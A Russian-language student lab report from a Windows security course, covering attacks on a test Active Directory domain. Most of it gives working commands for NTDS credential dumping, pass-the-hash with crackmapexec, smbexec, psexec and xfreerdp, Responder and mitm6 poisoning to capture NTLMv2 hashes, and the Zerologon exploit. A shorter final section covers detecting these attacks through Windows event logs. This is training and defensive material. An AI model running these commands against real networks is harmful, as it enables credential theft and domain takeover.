# Катенин Владимир - Windows Basic. Занятие 6. Базовые атаки и компрометация доменной Windows-инфраструктуры
[toc]
## Практическая работа №6.1 Базовые атаки на Windows-инфраструктуру
### Часть 1. Базовые атаки на инфраструктуру Windows
#### Этап 1. Анализ базы NTDS
1.1 Бэкап NTDS
Воспользуемся базовыми средствами Windows для работы с NTDS.
Заходим в командную строку от имени администратора и вводим команды:
ntdsutil
activate instance ntds
ifm
create full C:\temp
Этот набор команд активирует процесс Install From Media, позволяющий сделать копию нашего NTDS с необходимыми ветками реестра

В директории C:\temp видим созданные файлы дампа

---
1.2 Воспользуемся базовыми средствами Kali Linux. С помощью SMB зайдём на сервер Win с Kali:
> smbclient '\\\192.168.10.200\C$' -U PT/Administrator
>
> - где 192.168.10.200 -- ip адрес контроллера домена,
> - Administrator -- имя учетной записи с правами администратора.
После чего скопируем файлы на Kali:
> recurse ON
> prompt OFF
> lcd /home/kali
> mget temp
> - где /home/kali -- домашняя папка пользователя Kali linux

---
1.3 Анализ NTDS
Для анализа дампа для начала нужно скачать impacket. Находясь в домашней директории пользователя, выполняем набор команд:
> git clone https://github.com/SecureAuthCorp/impacket
> apt install python3-pip
> cd impacket
> pip install .

После установки пройдем из директории impacket в директорию examples (она внутри папки импакета) и выполним следующую команду:
> python3 secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/temp/registry/SYSTEM LOCAL
>
> - где [secretsdump.py](http://secretsdump.py/) -- исполняемый скрипт,
> - ntds.dit -- анализируемый инстанс базы данных NTDS,
> - registry/SYSTEM -- ветка реестра, с помощью которой мы можем прочитать NTDS,
> LOCAL -- флаг для скрипта, который говорит, что мы анализируем NTDS локально.
> - Внимательно следите за слешами -- мы экранируем пробелы обратным слешем.

Формат информации в этом выводе описан в строчке "dumping domain credentials"
NTDS мы анализируем с целью разобраться в структуре базы аутентификационых данных для объектов домена
---
#### Этап 2. Path-the-hash
Для выполнения атаки вида PtH нам понадобится учетная запись и её хэш пароля. С помощью такой атаки мы можем выполнять любые действия, доступные пользователю, не имея оригинала пароля.
2.1 Crackmapexec
Это набор python-скриптов для тестирования Windows окружения. Использует Windows API, поэтому обнаружить довольно сложно.
Самое базовое применение -- быстрое сканирование сети и обнаружение хостов, как либо взаимодействующих с протоколом smb:

Выполним команды от имени пользователя на удаленной машине посредством командной строки:
> crackmapexec smb 192.168.10.200 -u Administrator -H hash -x whoami
>
> - где hash -- это NTLM хэш учетной записи (LM хэш в этом скрипте не используется, в отличие от скрипта smbexec, описанного далее).

Можно посмотреть и список сетевых папок, доступных конкретному пользователю:
> crackmapexec smb 192.168.10.200 -u Administrator -H hash --shares

В impacket есть утилита smbexec, позволяющая запустить cmd windows для удаленной передачи команд, при этом практически не оставляя следов:
> python3 smbexec.py PT/administrator@192.168.10.200 -hashes hash
>
> - где PT -- имя домена,
> - administrator -- имя пользователя,
> - 192.168.10.200 -- адрес компьютера-жертвы
> - hashes -- спец флаг для использования хэша
> - hash -- сам хэш в определенном формате

Есть аналог -- psexec
> python3 psexec.py domain/username:password@hostIP
> python3 psexec.py domain/username@hostIP -hashes LMHASH:NTHASH

---
2.2 XFreeRDP
С хешем можно зайти даже по RDP. Для этого используется следующая команда:
> xfreerdp /d:domainname /u:username /v:ipaddr /pth:NTHASH
Для начала включаем удалённый доступ по RDP на dc1, доступ даем администраторам домена


Попробуем зайти на dc1 через Kali и подтверждаем сертификат

Действует политика restricted admin

Изменим параметр реестра на dc1

Использованная команда:
> New-ItemProperty -Path “HKLM:\System\CurrentControlSet\control\Lsa” -Name “DisableRestrictedAdmin” -Value “0” -PropertyType DWORD -Force
Так как включена политика аудита PoSH, можно увидеть выполнение этой команды

Теперь xfreerdp спокойно пускает с помощью хеша

---
#### Этап 3. Атаки на базовые протоколы Windows
**NBT-NS & LLMNR & mDNS**
Важной частью эксплуатации будет WPAD -- специальный протокол для настройки проксирования в системе Win. Система всегда запрашивает файл с настройками wpad.dat, а злоумышленник может подсунуть свой файл, став прокси-сервером для Win и таким образом осуществив атаку "человек посередине".
NBT-NS (NetBIOS Name Service) -- протокол, позволяющий компьютерам в локальной сети обращаться друг к другу по именам, не используя сервер DNS.
LLMNR (Link-Local Multicast Name Resolution) -- протокол для поиска и преобразования базовых имен внутри небольшой сети. Он же -- сетевое обнаружение. Использует мультикаст (то есть почти как широковещательный трафик, его в сети смогут увидеть все).
mDNS (Multicast DNS) -- суть такая же, как и у LLMNR. DNS через Мультикаст.
Все вместе технологии реализуют Zeroconf.
Основная уязвимость в этих протоколах -- отсутствие подтверждения информации. Мы можем сгенерировать любой ответ на запрос ПК по этим протоколам.
>Например, пользователь PC1 вводит в "проводник" сетевой путь "\\\computer-1". Если PC1 не знает ничего про этой имя и DNS сервер тоже не может ответить, то тогда PC1 спрашивает всю локальную сеть следующее: "кто нибудь в курсе, кто таков "computer-1" и какой у него IP?" Если мы ответим PC1 и скажем, что наш адрес -- это адрес "computer-1", то PC1 нам поверит. По итогу получим атаку вида MITM. Для того, чтобы автоматически отвечать на такие запросы, есть инструмент Responder.
Атака не пройдёт, если реальный DNS сервер сможет ответить на DNS запрос компьютера.
>
Начать всегда стоит со справки, чтобы изучить флаги скрипта и его возможности:
> responder -h
**Анализ инфраструктуры через responder**
Запускаем анализ Responder

> responder -I eth0 -A
Доменный ПК пытается обратиться к несуществующему сетевому ресурсу

Например, пользователь попытался пройти по сетевому пути и допустил опечатку. Либо же ссылка в письме, ведущая на файловую шару, оказалась чуть-чуть некорректная
Анализатор видит LLNMR, NBNS запросы

**Режим атаки**
> responder -I eth0 -wFv
>
> - где -I eth0 -- выбор интерфейса,
> - w -- отравление WPAD,
> - F -- попробовать принудить систему использовать старые протоколы аутентификации, если возможно,
> - v -- вывод подробной информации (в т.ч. перехваченного хэша).
Responder запускается

Пользователь снова проходит по несуществующему пути
Responder притворяется этим ресурсом, поэтому видим окно аутентификации

Responder перехватывает аутентификационный токен

Данный токен можно подвергнуть брутфорсу
При попытке пользователя обратиться к несуществующему в DNS WinServer16 ресурсу (в этом примере это "\\pt-file") в выводе мы увидим NTLNv2 аутентификацию, которую после можно брутфорсить через hashcat или John the ripper. В выводе будет NTLMv2 хэш, так как наш сервер не принимает kerberos аутентификацию, вынуждая win10 аутентифицироваться по чистому NTLMv2.
**mitm6**
Атака имитирует DHCPv6 сервер и отправляет на компьютеры в сети параметры IPv6, которые используются в приоритете над IPv4 при отправке компьютеров данных по сети.
Установить можно как скачав с гитхаба, так и выполнив следующую команду:
> pip install mitm6

**Выполнение атаки**
> mitm6 -d pt.local
Настройки сетевого адаптера pc1. Было:

Kali Linux. Атака

Настройки сетевого адаптера pc1. Стало:

Пока что мы только подменили параметры у win10, обеспечив MITM. Чтобы атака прошла незаметно для пользователя, нужно воспользоваться способом, который позволит нам прикинуться ресурсом, который требует аутентификацию. Воспользуемся SMB.
Создание своего сервера SMB. Не отключая mitm6, создадим SMB сервер:
> python smbserver.py -smb2support SMB /root/SMB

На Win10 через проводник попробуем зайти на наш домен

Видим данные аутентификации в выводе программы

Эти аутентификационные данные уже можно вскрывать с помощью hashcat или John the ripper. Это не чистый хэш пароля, а аутентификация по протоколу NTLMv2
---
## Практическая работа №6.2 Компрометация доменной Windows-инфраструктуры
Активируем политику аудита машинных учетных записей и применяем к контроллерам домена

Путь до политики: Computer Configuration/Policies/Windows Settings/Security Settings/Advanced Audit Policy Configuration/Audit Policies/Account Management
### Часть 2. Эксплуатация уязвимостей контроллера домена
2.1 Проведем поиск по уязвимости zerologon и найдём множество репозиториев на github, в том числе и с эксплойтами

---
2.2 Скачиваем один из них
> git clone https://github.com/risksense/zerologon

---
2.3 Переходим в скачанную папку и прочитаем README

---
2.4 Нам предлагают использовать конструкцию для вызова эксплойта. Используем команду
> python3 set_empty_pw.py dc1 192.168.10.200

---
2.5 Скрипт обнулил пароль машинной учетной записи контроллера домена. Воспользуемся этим, чтобы сдампить NTDS с помощью secretsdump
> python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC1$@192.168.10.200'

---
2.6 С помощью полученных хешей учетных данных можно выполнять команды от любого пользователя. Например,
> crackmapexec smb 192.168.10.200 -u ADMPetr -H 05df2fd1109e3d3b60f110965f6af128 -x whoami

---
### Часть 3. Поиск следов эксплуатации уязвимостей
3.1 Проверим журнал System, увидим ошибку Netlogon

---
3.2 Проверяем Security, видим событие 4742

---
3.3 Внимательно анализируем событие

Во-первых, ANONYMOUS LOGON -- уже довольно подозрительный факт
Ещё в логе можно увидеть заполненное поле password last set -- это значит, что пароль был изменён. При легитимном взаимодействии пароль на машинной учетной записи может менять только NETWORK SERVICE. И, если это происходит, генерируется ещё одно событие с id 5823
---
3.4 Найдём событие 5823 в журнале System с помощью фильтра

Событие есть, но оно произошло намного раньше
Если поискать события 4742 за день, когда произошло 5823, то мы их найдём. Это легитимные события, связанные с введением в домен dc2
Можно искать события с помощью PowerShell:
Get-WinEvent –FilterHashTable @{LogName=’Security’;ID=4742}Get-WinEvent –FilterHashTable @{LogName=’System’;ID=5805}
---
3.6 Если происходит дамп NTDS, то можно увидеть данные выгрузки в журнале Directory Service

---